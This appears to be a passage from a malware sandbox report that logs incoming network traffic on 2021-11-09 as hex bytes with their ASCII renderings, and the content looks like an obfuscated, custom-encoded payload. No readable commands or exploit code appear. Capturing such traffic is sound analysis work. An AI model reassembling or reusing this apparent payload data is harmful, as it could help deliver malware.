2021-11-09 21:21:48 UTC	73	IN	Data Raw: 45 20 6f 45 45 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 74 20 45 20 4f 51 51 20 4b 6b 20 59 78 20 4b 6b 20 6b 6b 20 4f 6f 6f 20 4f 4f 4b 20 6f 20 4f 6f 6b 20 59 78 20 4b 6b 20 59 6f 20 52 6f 20 74 59 20 4f 6f 45 20 6f 4b 6b 20 59 59 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 6f 45 78 20 6f 4b 45 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 6b 6b 20 59 20 4b 6b 20 59 78 20 52 78 20 45 51 20 74 4b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 52 4b 20 4f 59 20 4b 6b 20 59 4b 20 45 52 20 4f 6f 20 4f 78 74 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 4b 20 4b 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 59 51 20 4f 4f 6f 20 59 78 20 59 4b 20 59 6b 20 45 6f 20 59 51 20 4f 45 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 59 6b 20 51 59 20 6f 45 74 20 59 4b 20 6b 4b 20 4f 6f 78 20 Data Ascii: E oEE kK OOK Oot Oxt E OQQ Kk Yx Kk kk Ooo OOK o Ook Yx Kk Yo Ro tY OoE oKk YY OOo Yx KQ oE oEx oKE OOK OOt OxY kk Y Kk Yx Rx EQ tK OOt OxQ Ooo RK OY Kk YK ER Oo Oxt OxQ OOo YR oK KY YK kK Oox oR OYQ OOo Yx YK Yk Eo YQ OEK OOt OxQ OOk Yk QY oEt YK kK Oox
2021-11-09 21:21:48 UTC	77	IN	Data Raw: 45 52 20 59 78 20 59 4b 20 6b 78 20 6f 59 6f 20 6f 6b 20 74 4f 20 4f 4f 6f 20 59 78 20 4b 45 20 6f 20 4b 51 20 6b 4b 20 78 20 4f 4f 45 20 4f 78 51 20 4f 4f 6f 20 74 20 4b 6b 20 59 78 20 45 51 20 6b 52 20 51 20 4f 78 4f 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 59 4f 20 4f 6b 4b 20 4f 52 74 20 74 59 20 4f 6f 74 20 59 45 20 4f 6b 74 20 4f 4f 59 20 59 78 20 4b 6b 20 4b 6b 20 59 45 20 52 4f 20 4f 78 74 20 4b 59 20 4f 4f 74 20 6b 6b 20 4f 6f 6b 20 4b 6b 20 59 78 20 4b 6b 20 52 74 20 6f 4b 20 4b 4b 20 78 20 4f 6f 6f 20 45 52 20 59 51 20 4b 6b 20 74 74 20 52 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 51 6f 20 4f 52 20 59 78 20 74 45 20 45 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 6f 6f 74 20 6f 59 20 59 74 20 59 78 20 74 6b 20 45 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 4f Data Ascii: ER Yx YK kx oYo ok tO OOo Yx KE o KQ kK x OOE OxQ OOo t Kk Yx EQ kR Q OxO OxQ OOo YK YO OkK ORt tY Oot YE Okt OOY Yx Kk Kk YE RO Oxt KY OOt kk Ook Kk Yx Kk Rt oK KK x Ooo ER YQ Kk tt RK OOK OOt OxY Qo OR Yx tE EK kK OOK OOE oot oY Yt Yx tk EK kK OOK OOE O
2021-11-09 21:21:48 UTC	82	IN	Data Raw: 6f 52 20 4f 45 6f 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 78 20 51 51 20 59 59 20 59 4f 20 4b 59 20 6b 6f 20 52 6f 20 52 59 20 4f 4f 78 20 4f 4f 4f 20 4f 4f 4b 20 45 59 20 59 45 20 4b 78 20 45 78 20 6f 45 78 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 4f 78 45 20 6b 6b 20 4f 78 59 20 4b 6b 20 74 74 20 52 51 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 4b 6f 20 6f 52 20 4f 6f 6b 20 59 78 20 59 4b 20 6b 6f 20 6b 51 20 4f 78 4b 20 4f 4f 4f 20 4f 4f 4b 20 4b 51 20 45 45 20 59 59 20 6b 6b 20 4f 6f 20 6f 74 20 4f 4f 4f 20 52 51 20 4f 51 4b 20 59 78 20 4b 6b 20 59 6f 20 45 45 20 52 6f 20 4b 45 20 4f 4f 51 20 6f 6f 20 51 74 20 59 78 20 4b 6b 20 59 4b 20 4f 78 6b 20 4f 6f 4b 20 4f 51 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 45 59 20 59 6f 20 45 74 20 4f 4f 78 20 74 4f 20 4f 4f Data Ascii: oR OEo kK OOK OOY x QQ YY YO KY ko Ro RY OOx OOO OOK EY YE Kx Ex oEx OOK OOt Oxt OxE kk OxY Kk tt RQ OOK OOt OxY Ko oR Ook Yx YK ko kQ OxK OOO OOK KQ EE YY kk Oo ot OOO RQ OQK Yx Kk Yo EE Ro KE OOQ oo Qt Yx Kk YK Oxk OoK OQK OOt OxQ OOk EY Yo Et OOx tO OO
2021-11-09 21:21:48 UTC	86	IN	Data Raw: 20 4f 4f 6f 20 59 78 20 59 6b 20 45 45 20 59 4f 20 52 51 20 4f 4f 51 20 51 51 20 51 6f 20 51 52 20 59 45 20 45 45 20 59 4b 20 4b 51 20 52 51 20 4f 4f 6b 20 6f 45 51 20 4f 6f 45 20 51 74 20 59 59 20 51 59 20 6f 78 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 4f 59 20 4f 78 52 20 51 74 20 59 4b 20 4f 74 78 20 52 4b 20 4f 4f 20 51 59 20 4f 4f 4b 20 59 20 4f 4f 51 20 45 4f 20 4f 51 52 20 4b 6b 20 59 78 20 52 78 20 4f 6f 78 20 4f 4f 78 20 4f 4f 51 20 4f 74 20 51 6b 20 59 78 20 4b 6b 20 59 4b 20 45 51 20 6b 78 20 4f 78 4f 20 4b 59 20 52 51 20 4f 78 51 20 59 78 20 4b 6b 20 6f 59 20 59 6f 20 4b 74 20 51 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 45 59 20 59 6f 20 59 45 20 45 51 20 6b 78 20 6f 45 6f 20 6f 4f 59 20 4f 6f 4b 20 4f 4f 52 20 45 74 20 4f 78 4b 20 45 45 20 59 Data Ascii: OOo Yx Yk EE YO RQ OOQ QQ Qo QR YE EE YK KQ RQ OOk oEQ OoE Qt YY QY oxx YK kK Oox oOY OxR Qt YK Otx RK OO QY OOK Y OOQ EO OQR Kk Yx Rx Oox OOx OOQ Ot Qk Yx Kk YK EQ kx OxO KY RQ OxQ Yx Kk oY Yo Kt QR OOt OxQ OOR EY Yo YE EQ kx oEo oOY OoK OOR Et OxK EE Y
2021-11-09 21:21:48 UTC	90	IN	Data Raw: 20 4b 51 20 52 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 4f 4f 59 20 4f 4f 4b 20 74 45 20 45 74 20 59 78 20 59 4b 20 6b 78 20 6b 6b 20 4f 4f 78 20 51 45 20 4f 4f 4b 20 59 78 20 6f 78 6f 20 59 78 20 59 4b 20 6b 4b 20 74 51 20 4f 4f 74 20 4f 78 51 20 51 74 20 52 59 20 52 45 20 59 4f 20 59 4b 20 51 4b 20 4f 6f 78 20 4f 4f 6b 20 6f 20 51 52 20 59 4f 20 4b 6b 20 59 52 20 52 4f 20 4f 78 6b 20 4f 6b 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 45 20 51 59 20 45 59 20 59 59 20 6b 4b 20 4f 6f 78 20 4f 6f 4f 20 4f 4f 4f 20 6b 6b 20 6f 4b 74 20 4b 6b 20 59 78 20 4b 6b 20 51 6f 20 6f 51 20 6f 4f 52 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 6f 4b 20 6f 4b 51 20 59 4b 20 6b 4b 20 4f 4f 52 20 74 52 20 4f 51 6f 20 4f 4f 6f 20 59 78 20 4b 6b 20 52 59 20 4f 4b 6f 20 6b 4b 20 4f 4f Data Ascii: KQ Rx kK OOK OOR OOY OOK tE Et Yx YK kx kk OOx QE OOK Yx oxo Yx YK kK tQ OOt OxQ Qt RY RE YO YK QK Oox OOk o QR YO Kk YR RO Oxk OkK OOt OxQ OOo YE QY EY YY kK Oox OoO OOO kk oKt Kk Yx Kk Qo oQ oOR Oxk OOo Yo oK oKQ YK kK OOR tR OQo OOo Yx Kk RY OKo kK OO
2021-11-09 21:21:48 UTC	94	IN	Data Raw: 20 59 78 20 59 6b 20 51 45 20 74 20 6b 59 20 4f 4f 4b 20 4f 6f 74 20 4f 78 4f 20 51 78 20 59 78 20 4b 6b 20 4b 4f 20 52 20 6b 74 20 4f 4f 4b 20 4b 6f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 4f 52 20 59 78 20 59 4b 20 52 51 20 4f 78 78 20 51 45 20 4f 6b 6b 20 4f 4f 6f 20 59 78 20 59 4b 20 59 52 20 45 78 20 4f 78 6f 20 4f 4f 59 20 4f 4f 74 20 4f 78 45 20 45 4f 20 4f 20 4b 51 20 59 78 20 52 78 20 6b 6b 20 51 52 20 4f 4f 51 20 52 51 20 52 6b 20 59 4f 20 4b 6b 20 59 52 20 51 78 20 6b 6f 20 4b 78 20 51 45 20 51 59 20 4f 4f 45 20 59 78 20 59 6b 20 51 45 20 59 20 6b 59 20 4f 4f 4b 20 4f 6f 74 20 51 74 20 51 6b 20 4b 6b 20 6f 4b 20 74 20 59 59 20 6b 4b 20 4f 6f 78 20 6f 59 20 4f 78 74 20 4b 6f 20 59 74 20 6b 51 20 59 45 20 51 59 20 45 51 20 52 6b 20 4f 4f 52 20 4f Data Ascii: Yx Yk QE t kY OOK Oot OxO Qx Yx Kk KO R kt OOK Ko OxQ OOo Yx OOR Yx YK RQ Oxx QE Okk OOo Yx YK YR Ex Oxo OOY OOt OxE EO O KQ Yx Rx kk QR OOQ RQ Rk YO Kk YR Qx ko Kx QE QY OOE Yx Yk QE Y kY OOK Oot Qt Qk Kk oK t YY kK Oox oY Oxt Ko Yt kQ YE QY EQ Rk OOR O
2021-11-09 21:21:48 UTC	97	IN	Data Raw: 4b 74 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6b 6b 20 4f 6f 52 20 4b 51 20 59 78 20 52 78 20 4b 6f 20 6b 6f 20 4f 4f 52 20 4f 78 51 20 4f 4f 52 20 6f 45 20 6f 51 20 45 74 20 4f 52 20 4b 6f 20 4f 78 6b 20 4f 4f 52 20 4f 78 51 20 4f 4f 52 20 6f 78 4b 20 59 4b 20 4f 6b 20 59 6f 20 6b 4b 20 4f 4f 52 20 52 20 45 6f 20 4f 4f 45 20 59 78 20 59 6b 20 6f 45 20 4f 6b 6f 20 4f 4f 52 20 4f 4f 59 20 4f 4f 74 20 4f 78 59 20 6b 6b 20 6f 45 20 4b 6b 20 59 78 20 6f 51 20 4f 6f 4b 20 6b 4b 20 4f 4f 74 20 4f 78 51 20 51 4f 20 51 45 20 4f 6f 74 20 59 4f 20 59 4b 20 51 4b 20 6f 51 20 45 74 20 4f 78 6b 20 4f 4f 6f 20 59 52 20 51 59 20 51 51 20 59 59 20 6b 4b 20 4f 6f 78 20 4f 6f 74 20 74 78 20 74 74 20 59 6f 20 51 59 20 51 52 20 59 59 20 6b 4b 20 4f 6f 78 20 4f 6f 52 20 4f 78 Data Ascii: Kt OOK OOt OxQ kk OoR KQ Yx Rx Ko ko OOR OxQ OOR oE oQ Et OR Ko Oxk OOR OxQ OOR oxK YK Ok Yo kK OOR R Eo OOE Yx Yk oE Oko OOR OOY OOt OxY kk oE Kk Yx oQ OoK kK OOt OxQ QO QE Oot YO YK QK oQ Et Oxk OOo YR QY QQ YY kK Oox Oot tx tt Yo QY QR YY kK Oox OoR Ox
2021-11-09 21:21:48 UTC	101	IN	Data Raw: 20 4f 6f 4b 20 4f 4f 52 20 45 59 20 59 4b 20 45 6b 20 6b 51 20 4f 6b 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 45 4f 20 4f 6b 4f 20 4b 6b 20 59 78 20 52 78 20 4f 6f 4b 20 4f 6b 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 51 45 20 4f 52 51 20 59 4f 20 59 4b 20 6b 6f 20 51 51 20 4f 4f 45 20 6f 20 6f 45 6f 20 59 4f 20 4b 6b 20 59 6f 20 6f 52 20 74 6b 20 51 51 20 4f 4f 45 20 4f 6f 4b 20 4f 4f 52 20 51 45 20 4f 52 6b 20 59 4f 20 59 4b 20 6b 6f 20 51 78 20 4f 4f 20 4f 78 6b 20 4f 4f 6f 20 59 52 20 51 59 20 74 74 20 59 59 20 6b 4b 20 4f 6f 78 20 6f 52 20 6f 59 78 20 4f 4f 45 20 59 78 20 59 4b 20 6f 59 20 59 6b 20 52 51 20 4f 4f 6b 20 74 20 4f 4f 6b 20 4f 6f 74 20 59 78 20 52 4b 20 51 45 20 4f 52 4f 20 6b 59 20 4f 4f 4b 20 4f 4f 59 20 4f 78 74 20 51 74 20 59 4b 20 Data Ascii: OoK OOR EY YK Ek kQ OkY OOK OOt OxE EO OkO Kk Yx Rx OoK OkK OOt OxQ OOk QE ORQ YO YK ko QQ OOE o oEo YO Kk Yo oR tk QQ OOE OoK OOR QE ORk YO YK ko Qx OO Oxk OOo YR QY tt YY kK Oox oR oYx OOE Yx YK oY Yk RQ OOk t OOk Oot Yx RK QE ORO kY OOK OOY Oxt Qt YK
2021-11-09 21:21:48 UTC	105	IN	Data Raw: 20 59 78 20 59 78 20 4f 6f 4b 20 52 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 52 59 20 6b 20 59 78 20 59 4b 20 51 4b 20 4f 78 51 20 4f 6f 45 20 6f 6f 4b 20 4b 6f 20 59 78 20 4b 6b 20 59 4f 20 4f 51 20 4f 45 6f 20 4f 74 51 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 52 20 74 20 59 78 20 59 4b 20 51 4b 20 4f 20 74 74 20 4f 78 51 20 4f 4f 6f 20 59 52 20 45 45 20 59 6b 20 45 78 20 4f 6f 74 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 45 20 74 59 20 4b 51 20 59 78 20 52 78 20 74 4f 20 4f 6f 45 20 4f 78 78 20 4f 78 78 20 45 4f 20 52 59 20 4b 51 20 59 78 20 52 78 20 74 4f 20 4f 6f 78 20 4f 78 78 20 4f 78 45 20 45 4f 20 74 78 20 4b 51 20 59 78 20 52 78 20 74 4f 20 4f 4f 52 20 51 4b 20 4f 59 20 51 74 20 59 6f 20 51 59 20 74 4f 20 59 59 20 6b 4b 20 4f 6f 78 20 4f 78 6f 20 Data Ascii: Yx Yx OoK RQ OOt OxQ Ooo RY k Yx YK QK OxQ OoE ooK Ko Yx Kk YO OQ OEo OtQ OOt OxQ OOR oR t Yx YK QK O tt OxQ OOo YR EE Yk Ex Oot OOK OOt OxE E tY KQ Yx Rx tO OoE Oxx Oxx EO RY KQ Yx Rx tO Oox Oxx OxE EO tx KQ Yx Rx tO OOR QK OY Qt Yo QY tO YY kK Oox Oxo
2021-11-09 21:21:48 UTC	109	IN	Data Raw: 20 6f 4b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4b 45 20 4f 78 51 20 4f 4f 6f 20 59 78 20 6f 78 20 59 4f 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 59 78 20 4b 6b 20 59 78 20 6f 6b 20 6b 59 20 4f 4f 4b 20 4f 4f 74 20 51 45 20 4f 4f 45 20 59 78 20 4b 6b 20 4b 51 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 4b 45 20 6f 20 59 45 20 6b 4b 20 4b 51 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 51 51 20 4b 6b 20 59 78 20 45 51 20 45 51 20 6f 4f 45 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 59 52 20 6f 4b 20 4f 6b 78 20 59 59 20 6b 4b 20 4f 6f 78 20 51 45 20 52 51 20 4f 4f 6f 20 59 78 20 6f 74 20 74 52 20 6f 4f 20 6b 59 20 4f Data Ascii: oK YK kK OOK OKE OxQ OOo Yx ox YO YK kK Oox OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOk Yx Kk Yx ok kY OOK OOt QE OOE Yx Kk KQ YK kK OOK Oot OxQ OOo YO KE o YE kK KQ OOt OxQ OOo QQ Kk Yx EQ EQ oOE OOt OxQ Ooo YR oK Okx YY kK Oox QE RQ OOo Yx ot tR oO kY O
2021-11-09 21:21:48 UTC	114	IN	Data Raw: 4f 4f 6b 20 52 4b 20 59 59 20 4b 6b 20 4f 6f 59 20 59 4b 20 6b 4b 20 4f 4f 4b 20 45 6f 20 4f 78 51 20 4f 4f 6f 20 45 59 20 59 78 20 45 74 20 4f 6b 74 20 4f 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 59 20 45 52 20 4b 74 20 4f 4f 78 20 4f 74 4f 20 52 74 20 6f 51 20 4f 6b 20 4f 78 51 20 4f 4f 6f 20 59 52 20 59 6b 20 59 6f 20 4b 6b 20 6f 4f 6b 20 6f 74 20 4f 78 51 20 59 6f 20 6f 45 4b 20 4b 59 20 59 74 20 4f 51 4f 20 4f 78 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 74 6f 20 4f 52 78 20 4f 51 59 20 4b 6b 20 59 78 20 59 78 20 4f 6f 4b 20 52 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 52 59 20 6b 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 6b 78 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 6b 20 59 52 20 4b 6b 20 6b 6f 20 6f 59 6f 20 6f 6b 20 4f 6f 6f 20 4b 4f 20 4f 52 6b 20 Data Ascii: OOk RK YY Kk OoY YK kK OOK Eo OxQ OOo EY Yx Et Okt OK OOK OOt Oxk kY ER Kt OOx OtO Rt oQ Ok OxQ OOo YR Yk Yo Kk oOk ot OxQ Yo oEK KY Yt OQO Oxk kK OOK OOR to ORx OQY Kk Yx Yx OoK RQ OOt OxQ Ooo RY k Yx YK QK oQ kx OxQ OOo YR ok YR Kk ko oYo ok Ooo KO ORk
2021-11-09 21:21:48 UTC	118	IN	Data Raw: 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 59 78 20 74 45 20 4f 4f 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 4f 51 20 4b 20 59 78 20 4b 6b 20 59 52 20 45 78 20 4f 51 51 20 4f 4f 59 20 4f 4f 74 20 4f 78 45 20 51 6f 20 59 74 20 59 78 20 74 45 20 4f 4f 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 52 51 20 6f 20 59 78 20 4b 6b 20 59 52 20 59 6f 20 4b 74 20 59 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 74 52 20 52 6b 20 59 78 20 59 4b 20 51 4b 20 51 78 20 6f 45 78 20 4f 78 6b 20 4f 4f 6f 20 59 52 20 6f 6b 20 59 74 20 59 6f 20 4b 74 20 59 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 52 20 52 52 20 59 78 20 59 4b 20 51 4b 20 4f 4f 6f 20 4f 4b 20 4b 78 20 4f 4f 6f 20 59 78 20 59 6f 20 74 52 20 52 52 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 52 51 20 6f 6f 74 20 59 4f Data Ascii: OK OOt OxQ OOo Yx Yx tE OOt kK OOK OOE OQ K Yx Kk YR Ex OQQ OOY OOt OxE Qo Yt Yx tE OOt kK OOK OOE RQ o Yx Kk YR Yo Kt YE OOt OxQ OOR tR Rk Yx YK QK Qx oEx Oxk OOo YR ok Yt Yo Kt YE OOt OxQ OOR oR RR Yx YK QK OOo OK Kx OOo Yx Yo tR RR kK OOK Oot RQ oot YO
2021-11-09 21:21:48 UTC	122	IN	Data Raw: 6f 6b 20 74 4b 20 4f 4f 6f 20 4f 4b 20 6f 59 4b 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 4b 20 6f 78 20 6b 52 20 4f 4f 45 20 6b 20 6f 59 4b 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 4b 20 4b 78 20 6b 52 20 51 20 6f 6f 59 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 52 20 4f 52 20 59 6f 20 6b 74 20 4f 59 20 6f 6f 59 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 52 20 4b 4b 20 59 6f 20 4b 74 20 6f 45 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b 20 4f 6b 20 4b 6b 20 59 45 20 4b 4f 20 6f 45 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b 20 4b 52 20 4b 6b 20 74 74 20 4f 51 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 51 78 20 4f 52 20 59 78 20 4b 51 20 74 59 20 4f 51 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 51 78 20 4b 4b 20 59 78 20 74 45 20 4f 52 4f 20 6b 4b 20 4f 4f 4b 20 4f 4f Data Ascii: ok tK OOo OK oYK OOo Yx Yo oK ox kR OOE k oYK OOo Yx Yo oK Kx kR Q ooY OxQ OOo YK oR OR Yo kt OY ooY OxQ OOo YK oR KK Yo Kt oEO OOt OxQ OOR oK Ok Kk YE KO oEO OOt OxQ OOR oK KR Kk tt OQK OOK OOt OxY Qx OR Yx KQ tY OQK OOK OOt OxY Qx KK Yx tE ORO kK OOK OO
2021-11-09 21:21:48 UTC	126	IN	Data Raw: 20 4f 51 4f 20 4f 78 52 20 59 78 20 59 4b 20 6b 59 20 6b 74 20 51 51 20 4f 4f 4b 20 74 4b 20 4f 74 59 20 51 59 20 6f 45 52 20 59 4b 20 6b 4b 20 4f 6f 78 20 51 6b 20 6f 4b 74 20 6f 20 4f 4b 4f 20 45 52 20 59 78 20 74 78 20 4f 6f 4b 20 4b 74 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 4b 20 45 51 20 6f 4b 20 59 4b 20 6b 4b 20 51 74 20 52 51 20 4f 4f 4f 20 4f 4f 6f 20 4f 6f 74 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 59 20 51 45 20 4f 4b 6b 20 59 4f 20 59 4b 20 51 4b 20 4f 78 4f 20 74 78 20 4b 74 20 4f 4f 59 20 45 52 20 51 59 20 4f 59 4f 20 59 59 20 6b 4b 20 4f 6f 78 20 6b 51 20 6b 4b 20 4f 4f 59 20 51 45 20 4f 6f 74 20 59 4f 20 59 4b 20 51 4b 20 6f 51 20 6f 4f 4f 20 4f 78 6b 20 4f 4f 6f 20 59 52 20 51 59 20 4f 4b 51 20 Data Ascii: OQO OxR Yx YK kY kt QQ OOK tK OtY QY oER YK kK Oox Qk oKt o OKO ER Yx tx OoK Kt OOt OxQ Ooo oK EQ oK YK kK Qt RQ OOO OOo Oot Kk Yx YK kK OOK OOt OxQ OOY QE OKk YO YK QK OxO tx Kt OOY ER QY OYO YY kK Oox kQ kK OOY QE Oot YO YK QK oQ oOO Oxk OOo YR QY OKQ
2021-11-09 21:21:48 UTC	129	IN	Data Raw: 4f 45 45 20 4f 4f 52 20 4f 4f 6b 20 59 78 20 4f 4f 20 45 20 51 45 20 4f 6f 78 20 4f 4f 52 20 4f 4f 74 20 45 74 20 74 59 20 4f 4b 51 20 59 20 59 6f 20 59 4b 20 6b 59 20 4b 6b 20 45 78 20 52 59 20 4f 4f 6b 20 59 78 20 4f 59 6b 20 4f 6b 20 51 45 20 4f 6f 78 20 4f 4f 52 20 4f 4f 74 20 6f 78 52 20 6b 51 20 4f 51 4b 20 4b 4f 20 59 6f 20 59 4b 20 6b 4b 20 6b 45 20 4f 45 45 20 4f 4f 52 20 4f 4f 6b 20 59 78 20 45 74 20 4f 4f 4b 20 51 45 20 4f 6f 78 20 4f 4f 52 20 4f 4f 74 20 6f 78 6f 20 74 4b 20 6b 51 20 6f 6b 20 59 6f 20 59 4b 20 6f 6f 6f 20 74 52 20 45 78 20 52 59 20 6f 59 4f 20 59 4f 20 4f 78 4f 20 78 20 59 4b 20 6b 4b 20 4f 6f 4b 20 4f 4f 74 20 6f 4b 78 20 52 59 20 6f 45 74 20 6f 74 20 52 78 20 59 4b 20 52 20 74 52 20 4f 74 78 20 74 78 20 4f 6f 52 20 59 78 20 Data Ascii: OEE OOR OOk Yx OO E QE Oox OOR OOt Et tY OKQ Y Yo YK kY Kk Ex RY OOk Yx OYk Ok QE Oox OOR OOt oxR kQ OQK KO Yo YK kK kE OEE OOR OOk Yx Et OOK QE Oox OOR OOt oxo tK kQ ok Yo YK ooo tR Ex RY oYO YO OxO x YK kK OoK OOt oKx RY oEt ot Rx YK R tR Otx tx OoR Yx
2021-11-09 21:21:48 UTC	133	IN	Data Raw: 6b 20 4f 6f 4f 20 59 4f 20 45 6f 20 59 78 20 4f 59 51 20 74 45 20 4f 4f 4b 20 4f 4f 74 20 59 6f 20 4f 4f 45 20 6f 6f 20 4b 6b 20 4b 78 20 59 59 20 51 45 20 4f 4f 59 20 4f 78 4f 20 4f 78 51 20 6f 78 45 20 4f 4f 45 20 4b 6b 20 59 78 20 4f 4f 4f 20 6b 59 20 6b 4b 20 4f 4f 74 20 4f 4f 51 20 4f 4f 45 20 59 51 20 4b 51 20 45 4b 20 59 4b 20 6f 6f 6b 20 4b 51 20 4f 4f 74 20 4f 78 51 20 4b 4f 20 59 4f 20 6f 59 20 59 78 20 4b 4b 20 6b 59 20 4f 4f 59 20 4f 4f 74 20 4f 6f 59 20 4f 4f 6f 20 6b 4b 20 45 45 20 59 78 20 59 4b 20 4f 6f 59 20 4f 4f 4b 20 51 59 20 4f 78 51 20 4f 78 52 20 59 4f 20 4b 51 20 59 78 20 45 6b 20 6b 4b 20 4f 74 4f 20 4f 78 78 20 4f 78 51 20 4f 4f 6f 20 6f 74 20 4b 6b 20 45 78 20 59 4b 20 74 59 20 4f 4f 59 20 4f 4f 52 20 4f 78 51 20 51 52 20 59 78 Data Ascii: k OoO YO Eo Yx OYQ tE OOK OOt Yo OOE oo Kk Kx YY QE OOY OxO OxQ oxE OOE Kk Yx OOO kY kK OOt OOQ OOE YQ KQ EK YK ook KQ OOt OxQ KO YO oY Yx KK kY OOY OOt OoY OOo kK EE Yx YK OoY OOK QY OxQ OxR YO KQ Yx Ek kK OtO Oxx OxQ OOo ot Kk Ex YK tY OOY OOR OxQ QR Yx
2021-11-09 21:21:48 UTC	137	IN	Data Raw: 45 6b 20 4f 4f 52 20 4f 4f 52 20 4f 6f 4b 20 45 6b 20 4f 74 6b 20 6f 4b 4f 20 59 6b 20 59 59 20 52 51 20 45 52 20 6f 4b 59 20 45 74 20 4f 6f 45 20 59 4f 20 45 45 20 59 4f 20 59 4b 20 78 20 4f 4f 78 20 6f 4f 4f 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 59 6f 20 4b 4f 20 4f 4b 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4f 51 78 20 4f 78 74 20 4f 4b 6b 20 4b 6b 20 59 4f 20 59 4b 20 4f 74 78 20 4f 78 59 20 4f 4f 59 20 4f 6f 4b 20 4f 4f 45 20 59 78 20 6f 6f 74 20 4b 52 20 4f 4b 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4f 51 74 20 4f 78 74 20 4f 4b 6b 20 4b 6b 20 59 4f 20 59 4b 20 4f 45 59 20 4f 78 59 20 6f 4f 4f 20 4f 78 51 20 4f 4f 45 20 59 78 20 6f 78 52 20 4b 4f 20 52 45 20 52 51 20 4f 4f 52 20 4f 4f 74 20 4f 6b 45 20 6b 74 20 45 45 20 45 45 20 59 6f 20 59 4b 20 74 Data Ascii: Ek OOR OOR OoK Ek Otk oKO Yk YY RQ ER oKY Et OoE YO EE YO YK x OOx oOO OxQ OOE Yx OYo KO OKK kK OOY OOt OQx Oxt OKk Kk YO YK Otx OxY OOY OoK OOE Yx oot KR OKK kK OOY OOt OQt Oxt OKk Kk YO YK OEY OxY oOO OxQ OOE Yx oxR KO RE RQ OOR OOt OkE kt EE EE Yo YK t
2021-11-09 21:21:48 UTC	141	IN	Data Raw: 45 51 20 52 4f 20 74 78 20 52 59 20 4f 4f 52 20 52 51 20 51 51 20 4f 45 4f 20 45 45 20 4f 20 59 59 20 6f 6b 20 4f 6f 6f 20 4f 51 52 20 4f 6f 4b 20 52 74 20 59 4f 20 4f 74 6b 20 45 74 20 45 74 20 52 51 20 52 59 20 4f 4f 52 20 52 51 20 4f 4f 6b 20 4f 45 4f 20 45 45 20 4f 20 59 59 20 4b 4b 20 4f 78 52 20 4f 59 78 20 4f 6f 4b 20 52 74 20 59 4f 20 59 45 20 52 4f 20 4f 74 6b 20 52 51 20 52 59 20 4f 4f 52 20 4f 51 51 20 51 52 20 4f 74 59 20 45 45 20 4f 20 59 59 20 4f 52 4f 20 51 74 20 4f 78 4f 20 4f 6f 74 20 52 74 20 59 4f 20 51 6b 20 52 45 20 45 59 20 74 78 20 52 59 20 4f 4f 52 20 6f 6f 59 20 4f 78 6f 20 6f 45 59 20 45 45 20 4f 20 59 59 20 59 20 51 74 20 4f 74 6f 20 4f 6f 4b 20 52 74 20 59 4f 20 6f 6f 6b 20 45 74 20 45 74 20 52 51 20 52 59 20 4f 